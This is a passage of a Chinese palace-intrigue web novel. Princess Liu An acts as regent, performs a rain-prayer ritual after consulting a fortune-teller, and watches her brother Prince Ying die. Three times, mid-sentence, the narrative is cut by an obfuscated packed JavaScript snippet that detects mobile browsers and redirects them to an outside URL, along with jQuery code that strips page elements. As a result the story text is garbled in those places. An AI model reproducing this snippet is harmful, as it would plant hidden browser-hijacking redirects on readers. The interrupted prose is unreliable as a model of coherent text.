刘赞爱财如命,要他掏出钱财,就好比要了他命一般,可见从小将他抚养长大的大姐姐现如今这般忧愁,无奈道:“就依姐姐的。” 二三百万的赈灾款拨下去,靖州灾情才得以□□。只是靖州至今还是滴雨未落。 68. 代政(三)为民祈雨 司天监监正:“殿下,臣有要事,需面见陛下。” 刘安拦住监正:“父皇如今才歇息,有什么事同本宫讲也是一样的。” 监正道:“殿下,涉及祈雨祭祀一事,事关重大。” 刘安听得监正说得严重,便带他见了承道帝。 承道帝强撑着坐起身,倚靠在床头,抬手示意监正。 监正施礼跪下奏禀:“陛下,臣连日观测天象,主司降雨的毕宿星光暗淡,对应靖州乃至京师的星区天象焦灼,正对应如今靖州大旱。” “若依古制,需得在京师设立祭坛祈雨,且由天子主祭,以求感动上天。” 承道帝听后未语。 刘安在一旁担忧问道:“祈雨祭祀?与九九的承天祭祖大典相比?” 监正道:“承天祭祖大典只是繁琐累人,但祈雨一事,其他还好说,唯这主祭之人,需得身披荆棘,目视炎日,跪于祭台之上,受烈日炙烤,直至上苍垂帘,降下雨水。” “这……”刘安心随之揪起来,蹙眉看向承道帝,如今父皇龙体抱恙,政务都交由她打理,若在祈雨主祭,只怕…… 刘安先前代承道帝祭祀之时,承道帝的身体状况比如今还要强健些,当时祭祀便交由她代为祭祀,如今承道帝不如先前强健,可祈雨祭祀却比承天祭祖大典要惨烈得多,依着承道帝如今的情况,岂不是雪上加霜? 监正同样忧心道:“臣也正是担心这个,所以才来请示陛下。” “靖州大旱,今年开春至如今入秋,滴雨未落,土地龟裂,祈雨之事迫在眉睫,可未来一个多月,皆是艳阳高照,竟无一日会下雨。” “臣只怕是陛下即使枉顾自己的龙体,主祭祈雨,可这老天不下雨,到底……”监正声音越来越微弱,头也越压越低,“到底是白费功夫。” 承道帝思忖半晌,下定决心,开口道:“择一吉日。” 刘安当即站出来,父皇如今龙体抱恙,怎可再受得了在烈日之下曝晒!担忧道:“父皇!” 承道帝抬手阻道:“朕意已决。祈雨一事,势在必行。” “朕为天子,为天下百姓之父母,绝不能看着百姓臣民受此灾祸。” 待监正退下后,刘安跪在承道帝床前,言辞恳切道:“父皇,儿臣愿代父皇祭祀。” 方才监正说的对,往后一个多月,皆是炎炎烈日,即便是父皇主祭,也只怕是……白费工夫,还会惹得臣民非议。 若是她代父皇祭祀,即便是祭祀之后未曾下雨,臣民怨愤,也只会对她这个长公主生怨生恨。 承道帝伸手抚向刘安高高盘起的发髻,慈爱笑着,安慰道:“安儿不怕,朕,万安。” 司天监观测天象,若要降水,需得一个月之后了,为此,司天监选定了一月之后的吉日。 承道帝以为,靖州干旱持续之久,祈雨祭祀自然是要越快越好。再加上近来京中多乱,恐是上天降罪于他,执意要将祈雨的日子提前了半个月。 祈雨用的祭坛已设好,承道帝散着发,着素衣,披荆棘,一步一步踏上高高的祭台,待眼睛对上炎日之后,徐徐跪下,双手高举过头顶,跟着周边人一声声颂着祈雨祝祷之词。 已然过了一个时辰,承道帝明显感觉到体力耗尽,身形摇晃,恍惚间,双目之下的烈日,竟成了两个发亮的黑色盘子。 “咚”的一声,承道帝倒在了祭台之上。 “陛下!”周围宫人们忙上前去,将承道帝抬回宫去。 刘安并刘元、刘昶两位皇子,共同在承道帝床前侍奉汤药,一刻也不敢歇息。 刘元眉头紧皱,轻咳两声,问道:“御医怎么说?” 刘安眼泪连连,摇头回道:“父皇正值壮年,可接连打击之下,龙体受损,已大不如从前,还不知能不能……”还不知能不能熬过这个寒冬。说到此处,刘安捂住嘴巴,掩住哭声。 刘元长叹一声:“大姐姐,你近来常在父皇身边,父皇可有曾向你提及过什么吗?” 刘安摇摇头,不明所以。 刘元叹道:“那便等父皇醒来再说吧。”说吧,又是一番要将五脏六腑咳出来的架势。 刘安轻拍着,忧心道:“近来我多在福宁殿帮父皇分担政务,如今政务繁忙,倒没问过你的状况,先前不是大有好转吗?怎么如今反倒是更严重了呢?” 刘元一旁的婢女挽袖嘴快道:“长公主殿下有所不知,英王殿下他近来——” 话还没说完,刘元冷脸斥道:“多嘴。” 他的身体什么情况,他自己最清楚,每年秋冬便如此,熬过冬便好了。如今事情已经够多了,父皇病危,繁杂的政务又如座大山压在大姐姐肩上,怎敢让她再为了自己分心? “本宫与长公主说话,什么时候轮到你插嘴了?还有没有规矩了?” 挽袖见刘元动了怒,忙垂下头不敢再多言,生怕再惹得刘元生气。自平定叛乱之后,英王殿下的身子便一日不如一日了。 刘安倒不甚在意挽袖这样,和颜悦色道:“你何须这样疾言厉色?” 说吧,对着挽袖道:“无妨,你继续说就是。” 挽袖抬头看了眼刘安,又看了眼瞪着她的刘元,终是缓缓垂下头,不敢多言。 刘元忍着咳嗽:“大姐姐别听她胡说了。” 刘安无奈,转眼不见刘宁的身影,如今承道帝病危,刘宁却不知在哪儿,知道刘昶与刘宁关系最好,便问道:“七弟,小五呢?怎么这么多日都不见她?” 刘昶摇摇头,他也不知。自贵妃与四哥四嫂离世之后,便再也没见过阿宁,这几日他都将京城翻遍了,就连阿宁的公主府也日夜派人守着,都没见到她。 “再多派些人去。”刘安皱眉道,抬眼见刘元脸色苍白,便道:“今儿也不早了,你们便先回去吧,父皇这里有我呢。” 刘元刘昶二人刚离开没多久,六皇子刘赞匆忙赶来。 刘赞凑到刘安耳边道:“大姐姐,先前你命我查的,我已查清。” 刘安谨慎地看了一眼至今还昏迷不醒的承道帝,将刘赞拉至一旁,“查到了什么?” 刘赞低声道:“先前程显科考之时,曾遇考场舞弊,被人暗中调换了试卷,致使落榜。是刘仲牵线搭桥,帮了程显。甚至刘仲进宫那日,有人曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274265|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到程显等人出入城南。” 刘安旋即看了刘赞一眼,刘仲谋逆竟与程显有关,不过眼下心中还有一疑惑:“程显中举之时,刘仲不过才刚十二三岁,那时他刚被父皇认回血统,尚且要被宫人们欺负,自身都难保,他又哪里来的能力去帮程显?” 刘赞瞄了眼刘安,继续道:“先前,刘仲与齐国公走的最近。就连四哥回京一事,也是刘仲与齐国公伙同一些文臣们接连上书。” “而且,刘仲先前能在宫里活下来,便是当年启盛帝的皇后张氏暗中相助,启盛皇后,便是出自汀州张氏。” 刘安心中明了,如此说,倒都能说通了。难怪当初认回刘仲之时,齐国公跳得最欢。也难怪程显这次会帮着刘仲说话。 刘安冷哼一声:“原以为他是个刚正不阿的,不曾想早已为自己找好了靠山。” “大姐姐,虽说此人与刘仲来往过密,不可重用,可也不能轻易动他,这次朝堂上升任上来的不少人,皆出自他门下。” 刘安听后,叹了一声,倒是有些棘手。不过眼下刘仲成了庶人,再无继位的指望,程显等人,应该会安心为朝廷效命吧。 刘安叮嘱道:“我知道了,程显见过刘仲一事,轻易不要告诉旁人。” 刘赞点点头,忽而想到祈雨一事,又道:“还有一事,近来京中有一先生,卦象算得极准,测算之事也没什么差错,我想着,要不找他算一下何时会降雨?” 刘安嗤笑一声,不以为意:“凭他是什么人,有什么本领,难道还会比宫里的监正学识要高吗?若有这样的学识本领,岂不是早早便谋了个一官半职?” 刘赞挠挠头,大姐姐这话说得也是。 宫人们来报:“陛下醒了——” 刘安刘赞忙行至承道帝床前。 承道帝缓缓睁开混沌的双眼,慨然叹道:“朕没用,竟连祈雨的祭祀都没能做完,如此没有诚心,怎会感动上苍?” 说罢,转眼见俩人面露愁色,不禁轻笑一声:“没什么大碍,怎么都苦着张脸?” 刘安提起裙摆,跪在地上,言辞恳切道:“父皇,让儿臣代父皇履行祭祀之责吧。儿臣身体还算强健,即便是在烈日之下曝晒一日,也是能受得住的。” 承道帝盯着刘安良久,最后无奈叹了一声:“也好。” “先前你便代朕祭祀过,如今这祈雨祭祀由你来完成,朕也算放心了。” “让司天监再择一吉日。” 祈雨祭祀的日子定在了七日之后。 随着日子越来越近,刘安心中也越来越忐忑,日夜都会梦到自己跪在高台之上,跪了一日又一日,可仍不见天上降下雨水来。 刘赞见姐姐如今寝食难安,也很是心疼,便自去找京里那个算得很准的先生去卜上一卦,解卦之后,得知五日之后便有一场大雨,忙不迭回到宫内,将这消息告知刘安。 刘安自是不大相信,可眼下无计可施,只能抱着死马当活马医的态度,便想着亲自出宫去会一会这算卦先生,于是将那人掳来。 莲房摘下套在那人头上的布袋,施礼道:“先生,我家主子想卜上一卦。” 69. 代政(四)代帝祭祀 那算卦先生抬了抬斗笠,露出一双狡黠的眼睛,正是先前自请去栾南的刘仲门客,钱衡量。 钱衡量才从栾南回来,带回了诚王的回信,可谁曾想到他刚到京城,便得知了刘仲被废为庶人的消息,打得他是措手不及。 他不在的这一个月,到底发生了什么!怎么二殿下又被囚禁了?怎么二殿下被废为庶人? 钱衡量揉了揉被按疼的肩膀,心中自是有许多不满。若是想找他卜卦,好好说话便是,何必用这种暴力手段将他掳来。 钱衡量抬头见刘安虽遮着面,但衣着华贵,气度不凡,就连这拦着她的婢女也看着与常人不一样,便猜着刘安身份不凡。 为这种人卜卦,可得异常小心谨慎才是,否则一言不慎便会落得个身首异处的下场,因为小心谨慎开口问道:“不知贵人要问什么?” 刘安对面前这人的能力有所质疑,想着试探一下,因而道:“听闻先生卜卦很准,不知先生能否算出我想要问什么?” 钱衡量顿觉无语,但碍于他不知刘安是什么身份,除了翻了个白眼外,不敢有什么越矩之行,只快速扫过一眼周围陈设布置之后,不像寻常百姓家;又扫了眼一旁的连房,看着年岁不大,腰间隐约还有枚皇宫的令牌,想来是宫廷之人;再看刘安,头上带着长帷帽,只露出个发髻,应该是不想让人知晓她的身份。 故而恭敬回道:“想必贵人身份尊贵,所要问的,想必是小人平时所不能接触到的。” 刘安轻笑一声,说得模棱两可、语焉不详,似对非对,或许再追问下去,下一句便是“天机不可泄露”了。 刘安想了想,若说这祭祀一事,或许寻常百姓未必能接触得到,可若说是祈求降水一事,只怕普通百姓平日里也接触的到,因而也含糊道:“也对,也不对。”说吧,便要看钱衡量如何作答。 钱衡量心里不免一阵骂娘,可碍于自己人在屋檐下,不得不低头,只得拱手作揖,连连陪笑道:“贵人,需得心中有明确的问题,如此测算推演出来的结果方才会更准确。” 钱衡量语气带了些不敬,试探道:“就拿方才贵人所言,问得含糊不清,岂不是为难人了?” 连房听得此话,站出来,呵斥一声:“放肆!” 刘安抬手止住,心中也打起了鼓,连赞儿都说他算的准,想来是有些本事的,不妨再等等看,若他行的是坑蒙拐骗一术,再派人将他丢入牢里便是。 钱衡量观此情形,又从二人言语之中,察觉到刘安不是一般的富贵,无意间一瞥,瞥见刘安头上戴着的莲花冠。心中猛然一惊,面前此人莫不是当朝的永安长公主? 钱衡量还记得,长公主最爱莲花,当初二殿下还亲手为长公主雕了一只莲花簪。 若面前此人是长公主,那近来政务都由她处理,想来最忧心之事便是朝政上的事,如今最重要的,只怕是靖州的旱灾了,钱衡量从栾南一路走来,途径靖州,自是知道靖州大旱的情况。 当今陛下前几日曾在京郊祭祀祈雨,只是龙体抱恙中途晕倒了。听说再过两三日还要再祭,想来长公主最想问的,便是何时降雨一事。 刘安只静静地坐着,见钱衡量先是掐指一算,而后又掏出三枚铜钱,在手中摇匀之后,抛向空中。 铜钱啷当三声落地,连着抛了六次之后,钱衡量嘴里默默背出卦象,方才开口道:“五日之后,有一场暴雨。” 刘安不禁身子前倾,问道:“此话当真?” 若说几时会降下雨来,连司天监也不敢明说,只是含糊说再过三日,兴许会有一场雨,可面前此人,却说得如此坚定,应该信谁的呢? 钱衡量点点头:“当真。” 见刘安不信,便转头对上一旁的莲房,细细看过莲房的面相之后,道:“我观此姑娘的面相,想来自幼颠沛流离,家中有大的变故,后遇到贵人,从此便锦衣玉食,前不久与故人重逢。只是……” 只是会横死。不过后面的话不是什么好话,钱衡量便未说出口。 刘安看向莲房,问道:“说得可对?” 莲房迟疑地点点头。她原本是漳州人士,年幼时漳州十城丢失,不得已之下,举家来了京城。不久后她入宫做婢女,被分给了如今的长公主,长公主待她极好。前不久,还偶然遇了姑姑家的表哥。这相士所言不错。 刘安见状,也就勉强有几分相信,毕竟祭祀一事,事关重大,不能仅凭面前这人的片面之词。 刘安问道:“不知先生如何称呼?师从何处?” 钱衡量正了正衣冠,施礼跪拜道:“草民钱衡量,祖父钱易知。” “钱易知?”刘安闻言一惊。 钱易知的名头,无人不知无人不晓,算无遗策,只是听说前几十年在颖州为人卜卦之时,言语不中听了些,便被寻了个错处,落了个抄家的下场。既然此人是钱易知的后辈,想来也是有些实力的。 刘安不免有些好奇:“不知你祖父先前在颖州,为谁人卜的一卦?” 钱衡量苦笑道:“为颖州蔡氏一族算的,算出的卦象是,三代之内,必亡,若要改变这个下场,则需要戒骄戒躁,勤勉恭定,如此,家族方可长盛不衰。” 刘安听后,嗤笑一声:“果真算得不错。” 钱衡量言之凿凿:“还望殿下将三日之后的祈雨祭祀再推辞两日。” 刘安起身,透过帷帽上的薄纱,意味深长地看了钱衡量一眼。 回宫途中,莲房见刘安不做声,心中好奇,便小心翼翼问道:“殿下可信方才那相士所言?” 刘安道:“不信。”话虽这么说,可她心中也琢磨不定。 莲房不解,既然殿下不信,又为何还要与他说那么多。莲房见刘安闭目养神,也不好多问。 待见着司天监监正之后,刘安问道:“三日之后的祭祀,当日可会降雨?” 监正摇摇头。 刘安又问:“那之后两天可会降雨” 监正道:“兴许会,不过臣观测天象,降雨的概率微乎其微。” 刘安点点头,而后道:“那便将祭祀之日改在五日之后吧。” “这……”监正有些迟疑,“五日之后,并非吉日。” 刘安笑道:“若能降下雨水,解我靖州之旱灾,那便是吉日。” 监正见刘安这般坚定,便不再说什么。 一旁的莲房心中疑惑不已,殿下不信那相士说的,可为什么又要改祭祀时间呢?殿下到底信还是不信呢?莲房摸不透。 其实就连刘安自己,也不敢确定五日之后一定会下雨,就当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274266|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做是一场豪赌吧。 三日过后,到了原先定下的祭祀之日,天刚亮起来,便一阵闷热的风吹过来,还带着些许的湿气,是下雨前的征兆。 刘安听得身边的宫人们叹了一口气,如今她也想叹气了。三日前,她还自信满满地改换了祭祀日期,如今只怕要贻笑大方了。 不过也好,能早日降下雨来,早日缓解旱灾,也是好的。 刘安起床梳洗过后,才用过早膳,抬头望天,便看到先前堆叠的云彩四散开来,一轮炎炎烈日此时正挂在天上。 莲亭疑惑不已,嘴里嘟囔着:“刚才不还乌云密布,一副要下雨的儿样子吗?怎么现在又是烈日高照?” 莲音在一旁研墨,匆匆看过一眼后,随口说了句:“谁知道呢。” 莲房端着一小盒子过来:“殿下,这是方才六殿下派人送来的,说是担心殿下祭祀时撑不住,寻来了这些人参丸。待祭祀时,殿下含一颗在舌下,便能挺数个时辰呢。”说罢,打开盒子给刘安看。 盒子里摆着一颗指头肚大小的丸药。 刘安捏起这颗,高举过眼,仔细看着,笑道:“赞儿真是有心了。” 又过了两日,既定的祈雨祭祀日子已然到了。 抬眼看去,晴空万里,哪里是会下雨的迹象? 听得周边宫人窃窃私语的议论,刘安心中也忐忑不安,不知自己一意孤行的决定到底是对还是不对。 刘安依着祈雨祭祀的要求,披着头发,身着素衣,背负荆条,目视炎日,步伐坚定地走上高高的祭台,她此时代表的不仅仅是承道帝,更是靖州千千万万的百姓。 礼部说,祭祀一定要够惨烈,不惨烈不足以感动上苍。 既然要惨烈,那便由她长跪至此,直至上天怜悯降下雨水吧。 炉鼎里的香燃烧了一茬又一茬,袅袅青烟直上云霄,倒是个好兆头。 头顶的烈日,也换了方向。 刘安身形有些摇晃,不过幸好她舌下含着人参丸,勉强撑着。 依旧是烈日高悬,毫无半点下雨的迹象。 刘安此时也有些怀疑,每年都有大大小小的祭祀,可靖州不还是大旱吗?祭祀就能风调雨顺吗?真的能谋求上苍的庇护吗?还是说,自己不是皇帝,所以没有资格跪在这祭台之上? 刘安心中的忐忑更甚,眼瞅着太阳即将西斜,烈日的光芒洒在祭台之上,洒在每个人身上,炙烤着每个人。 丝毫没有暴雨的迹象。 刘安怔怔地直视着烈日,嘴唇翕动,喃喃地念着祈雨祝祷之词。 忽的,一记雷声响起,惊得众人脸上有了些许喜色。 不多时,有淅淅沥沥的雨点子落下。 众人惊呼:“降雨了!降雨了!” 刘安轻轻吐出一口气,看向天空,感受着雨点打在脸上,是要下雨了吗? 祭祀毕,一场暴雨如约而至,滂沱落下。 刘安双手捧起雨水,如释重负地笑着,终是不负父皇所托,不负臣民所盼。 刘安以手撑地,揉了揉跪得早已发麻的膝盖,仿佛两条腿已经不是自己的了,还未来得及起身走下祭台,便觉眼前一黑,从祭台之上摔落,滚了数级台阶方才止住。 众人惊呼着围上去:“殿下!” 70. 代政(五)英王病逝 为着祈雨祭祀一事,永安长公主刘安耗尽精力,昏倒在祭台之上,如今三日过去,还未曾苏醒。 在刘安昏迷的这几日,积压政务之多,一时间竟无人打理。英王刘元不得已,将积压的政务揽过来,连着处理了几日。 刘元本就是病弱之身,本该好生休养,不能过分操劳。如今数日的过度劳累,又恰逢秋冬交际之处,连日不断地咳嗽吐血,形同槁木。 挽袖看在眼里痛在心上,捧着带血的手帕,眼里不住地溢出泪来:“殿下该照顾好自己的身体才是。” 刘元摆摆手,不甚在意:“不妨。” “殿下就当是为了长公主,也更应该保养好自己的身体才是,长公主如今连日昏迷,若殿下……”挽袖压下那些不吉利的字眼,哽咽道:“那长公主岂不成会更难过?” 刘元怅然叹道:“我如今已是油尽灯枯之势,不过是苟延残喘罢了。我若能多分担一些,她便能少承受一些。” “来日之路艰难,只怕得她独自走下去了。” 挽袖急道:“殿下,快别说这样的丧气话,殿下一定能长命百岁的。” 刘元苦笑一声,他如今什么情况,他最清楚不过,内里早就坏掉了,又何尝来长命一说。只是她如今最放心不下的,便是从小与她一起长大的刘安。 两人皆是自幼丧母,而后被抛在这深宫诡谲之中。刘安与世无争,遇事忍让,这几日看承道帝的意思,许是要立八皇子刘绥为储君,刘安从旁辅佐,以她的性子,被牵扯进这权力斗争的漩涡之中,又怎会安好? 刘元深知自己时日无多,便想着在这最后的日子里,能再多做些。将来刘安抚政之时,便可轻松些。 刘元喝下一碗参汤,吊着这口气,转眼又拿起桌上的奏折看了起来,近来户部叫得厉害,刘安又对这其中的弯绕不甚清楚,需得为她扫清障碍才是。 夜已深,刘安才睁开眼,便听到外面一阵嘈杂叫嚷声,听着倒像是刘元身边的宫女挽袖,刘安不免疑惑,这么晚了,她怎么来了。 刘安沙哑着嗓子:“外面怎么回事?” 莲亭听得刘安呼唤,小跑进来,道:“殿下,是英王殿下身边的挽袖姐姐,说什么也要见着殿下,莲房姐姐和莲音姐姐怕她影响到殿下的休息,便拦着她呢。” 刘安眉头微皱:“这么晚跑来,想必是有什么要紧的事,让她进来吧。” 莲亭关切道:“可是,殿下你——” 刘安摆摆手。 挽袖一边哭,一边跪在刘安面前:“长公主殿下,英王殿下他……他近几日一直吐血……” “先前御医看过,说殿下要好生养着,不能再过度操劳,可殿下这几日忙起来便顾不得休息,天不亮就醒,夜半三更还在批阅奏折,如今连着累了两三日,全靠参汤吊着口气。” “方才殿下又咳出一大口血,就连鼻子里也流出血来。” 说罢,将带血的手帕呈到刘安面前。 刘安看后,心中隐隐不安,挣扎着坐起身:“我去看看。” 刘安拖着初愈的病体来到东华宫,还没走到门口,便听到里面传来刘元一阵阵剧烈的咳嗽声,一声接一声,声声不断。 刘安眉头紧锁,斥责道:“御医呢?英王都怎么咳成这个样子了,他们都是干什么吃的?” “你们也是,竟放任殿下这般咳吗?竟无一人肯跑去请御医。” “今日若不是挽袖跑来,本宫只怕是还不知道英王竟病成了这个样子!” 东华宫的宫人们听到长公主刘安的斥责,纷纷跪下行礼:“殿下说的是,奴婢马上去。” “大姐姐不必斥责他们,原是我不让他们去请的。”刘元惨白的脸上浮出一抹淡淡的笑意:“我的身子什么情况我是知道的,已到了无药可医的地步了,御医们不敢下重药,只是下一些温补的苦药调理着。” “我喝惯了那些个苦药,不过是吊着这口气苟延残喘罢了,如今,我没有几日了,想过得甜一点。” 听闻此言,刘安一怔,眼泪不受控地溢出来,随即匆匆揩去,带着些鼻音道:“我那里有些蜜饯果子,待会派人给你送过来。” 刘元打趣道:“是母亲与陈娘娘先前做的口味吗?不是二话我可不吃哦。” “是,是,是……”刘安强忍着眼泪,可连着说了三声是,眼泪还是忍不住,无奈,只能侧过身子,不让刘元看到。 刘元道:“你们都下去吧,我与长公主说些话,不必近前伺候。” 宫人们应声退下。 刘安扶起刘元,缓步走向里间。 一边走着,刘元问道:“大姐姐,我如今只怕是命不久矣。” 刘安:“呸呸呸,别说这样的丧气话。你先前还说要保护姐姐呢,怎么,如今竟想赖账不成?” “大姐姐,你是惯会说笑的。”刘元笑笑,随后长叹一声:“我何尝不想一辈子护着姐姐,只是……咳咳——咳咳——” 刘安关切道:“你快躺下,好生静养。都这么晚了,还不说休息。”一边说着,一边将刘元扶至床榻之上,细心掖好被角。 刘安见刘元还欲张口说话,抬手覆在他嘴上,“好了好了,快休息,少说几句吧,有什么话,明天再说就是了,我今晚就守在你床前,保管你明日,一睁开眼就能看见我,好吗?” “就像我们小时候那样,姐姐会一直守在你身边的。” 那时,是刘元的生母祁氏与刘安的生母陈氏刚亡故之时,承道帝还在忙着登基一事,他们两人不过八九岁,刘元误食了一些羹食,他就如现在这般,可怜见的,就这么躺在床榻之上,刘安也如同现在这样,日夜守在他身边。 当时刘安刚经历了母亲与祁娘娘离世的打击,经历了生离死别之痛,对着这个从小玩闹到大,与她年岁差不了几个月的弟弟,心中满是担心,担心弟弟会像母亲与祁娘娘那样,嘴唇乌青,一动不动地躺在那里,怎么叫也叫不醒。 刘安日夜守在刘元床前,送过来的汤药饭食,都是她一一尝过之后才亲自喂给刘元的,就这么一匙一匙,一勺一勺,一夜一夜地守着,亲眼看着刘元的嘴唇由乌青发紫转成红润。 刘元拉下刘安的手,他对自己的身体状况早有预感,见刘安这么阻着他,急道:“大姐姐,这些话,让我说完好吗?我有许多话想要对你说,我怕我说不完,我怕……”话还没说完,两股热泪淌出。 刘安伏在刘元臂弯处,呜咽道:“好。好,都依着你,都依着你。” 刘元伏在床边,忍着身体上的痛楚不适,一字一顿叮嘱道:“大姐姐,我接下来说的话,你可要记住了。” “自太子薨逝后,余下诸位皇子之中,唯有秦王,可担大任。虽说他心思沉,但重情义,若他日后即位,想来也会善待于诸位手足。” “可局势变幻莫测,如今除却秦王以外,余下的诸位皇子之中,能有希望被立为储君的,恐只有八弟了。” 刘安:“八弟?可八弟尚且年幼……” 刘元:“正是因为八弟年幼,正是可塑之才,父皇才肯考虑,六七两位弟弟,一个爱财一个好武,父皇从未考虑过他们二人。但若八弟即位,我揣测,父皇会让你与余下的两位弟弟,以及朝中的程显、王落儒等人从旁辅佐。其余还好说,唯这八弟的生母李氏,被册立为太后,子少而母壮,她太后的权力又被你分了去,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“皇后蔡昭,犯上作乱,原先是为着太子的缘故,为着太子的名声,兵变叛乱一事并未涉及她,给她留了一个好名声。” “可一想到我母亲,我便……我便夜不能寐,夜不能寐啊!” “若我还能再多活几日,定不会让她葬入皇陵,定不会让她以皇后的位份安葬,定不会让她占着本该是母亲的皇后之位,定不会让她受万民香火!” 刘元拼着一身的力气,费力从喉咙里挤出字来:“我恨!我恨!我恨啊!” 刘安握紧刘元的手:“你放心,有我在一日,就不会让她以皇后之位安葬的。” “你放心,有我在一日,我定会追封祁娘娘为皇后,给她这份尊荣的。” “你,放心……”说完,刘安的泪水早已决堤。 刘元释怀道:“长姐,为我戴上冠吧。我与母亲分别多年,如今又是这副人不人鬼不鬼样子,我怕她会认不得我。” “我戴上母亲亲手为我做的冠,她见了,一定欢喜,一定会认出我的。” “长姐……” “好,我为你戴上。”刘安取来冠,忍着哭声,为刘元梳好头发,戴上那顶冠。 祁娘娘为刘元成年所做的冠,一直放在刘元床头的盒子里,盒子上面的漆都有些斑驳了。 刘元眼睛怔怔地看向前方,手高高抬起,瞳孔散大:“母亲,母亲,是你吗?儿子来了……” “陈娘娘,你也来了……长姐照顾得我很好……很好……” “元弟,终究是我没能照顾好你。”刘安颤抖着手,为刘元阖上眼眸。 71. 代政(六)肩挑社稷 ?刘安抱着刘元,守了一夜,感受着他身上的温度在渐渐消散,直至冰凉,感受着他的身体在慢慢停滞,直至僵硬。 刘安的眼泪早已流干,脸上残留的泪痕紧紧扒在脸上,轻轻摇晃着身体,轻轻拍着刘元的肩膀,嘴里哼唱着哄睡的歌谣,哼唱一夜,嗓子早已沙哑。 “元弟,睡吧睡吧,好好睡一觉。醒了就能看见祁娘娘了。” “元弟……” 莲音与挽袖进屋来,见刘元沉沉睡去,刘安双眼无神地坐在床头,看着像是坐了一夜,莲音忙碎步上前,低声道:“殿下,英王殿下睡下了,你也该回宫休息了。” 刘安“哦”了一声,良久,才缓缓转头,眼睛无神地对上莲音,可双眼并不聚焦,眼里只有一个虚影。 莲音扶起刘安,挽袖为刘元掖好被子,却在触碰到刘元僵硬的身体的时候,着实被吓了一跳,后退半步,指着刘元惨白的脸色,重重垂下的手臂,捂着嘴不敢置信问道:“殿下……英王殿下他……他……” 刘安回头,面无表情道:“慌什么,元弟只不过是……” 刘安颤抖着深吸一口气,稳住心神道了声:“只不过是睡着了。” “睡着了而已。”刘安声音越来越弱,刚说完这句,浑身力气犹如瞬间被抽空,几欲瘫倒。 莲音忙搀扶住刘安,满眼心疼道:“殿下,英王殿下都睡下了,你也该好生休息才是。”边说着,还一边给挽袖使眼色。 “嗯。”刘安任由莲音搀着,走了数步,随口问道:“莲音,元弟这一觉,只怕不会再醒了,你说我若是睡下了,会不会也像祁娘娘、母亲还有元弟这样,再也不会醒了呢?” “不会的不会的。”莲音抽泣一声,连声安慰刘安。 “莲音,你也会像元弟这样,一睡不起吗?你会一直陪着我吗?” 莲音比刘安大上个两三岁,是自王府时便一直侍奉在刘安身边的,两人自幼亲近,如同姐妹一般。 莲音将刘安扶上步撵,拂去脸上略显几分凌乱的发丝,紧紧握着刘安冰凉的手,眼中含泪,眼神却无比坚定道:“殿下,莲音会一直陪在殿下身边的,莲音会保护好殿下的,殿下不怕。” 刘安眼中有了些许的湿润,苦笑一声:“你们都是骗子,祁娘娘和母亲也是这么说,她们说会陪着我与元弟一起长大,会在我及笄礼亲手为我梳头挽发,会在元弟及冠之年亲手为他戴上发冠。” “元弟也是个骗子,他说会保护我一辈子。” “你们说的一辈子,真的好短……” 莲音在步撵旁听着刘安的念叨埋怨,听着刘安抒发着心中的苦闷,不知该怎么安慰。 长公主刚到皇宫的时候,还常常抱着祁王妃与陈侧妃的遗物,常常与英王殿下抱着一起哭,她与挽袖在一旁边哭边劝,好容易走出来了,没曾想现在变故频发,英王殿下如今也去了,徒留长公主。 莲音手上又多加了一丝丝的力道:“殿下,我会一直在的,我会一直在的。” 刘安被扶到床榻之上,床帘被放下来,徒留她一人,听着外面刻意压低声音的窃窃私语,早已干涸的眼眶又有了些许的湿润。 莲房:“殿下这是怎么了?英王殿下那边可是出了什么事吗?” 莲音只是叹了口气,连连摇头,并未多言。 莲亭察觉到一丝不对,试探着问道:“莲音姐姐,是英王殿下他……去了?” 莲音又是叹了一声,点点头:“殿下抱着英王殿下……坐了一宿……” 莲房与莲亭皆是不可置信地对视一眼,而后又心疼地望向被层层纱幔遮住的刘安。 莲房:“殿下是内敛的性子,只怕是将情绪都压在了心里,我们姑且先守在外殿,让殿下一个人静静地待会。” 莲音点点头:“让外面做事的手脚都放轻些,别吵到殿下。” 刚吩咐下去,便有小宫人风风火火地进来报:“莲音姐姐,太傅王落儒求见长公主殿下。” 莲音歪头问道:“可有说什么事吗?” 小宫人摇摇头:“并未明说,只说事情紧急,一定要见了公主才肯说。” “我知道了,你先下去吧。”莲音想了想,便道:“公主日日侍奉在陛下近前,日夜操劳,先前为着祈雨祭祀一事昏迷数日,如今才醒,幸而有七殿下替公主守在陛下近前,好不容易才能休息一会,这才刚睡下。” “莲亭,你去告诉太傅,就说公主已歇息,有什么事待公主醒后再说吧。” 莲亭:“是。” 莲亭应声出了福康宫,见太傅王落儒正在殿外焦急地来回踱步,清了清嗓子,迎了上去。 王落儒见有人出来,正了正好衣冠,忙上前问道:“宫侍,长公主殿下怎么说,可有传召我入殿?” 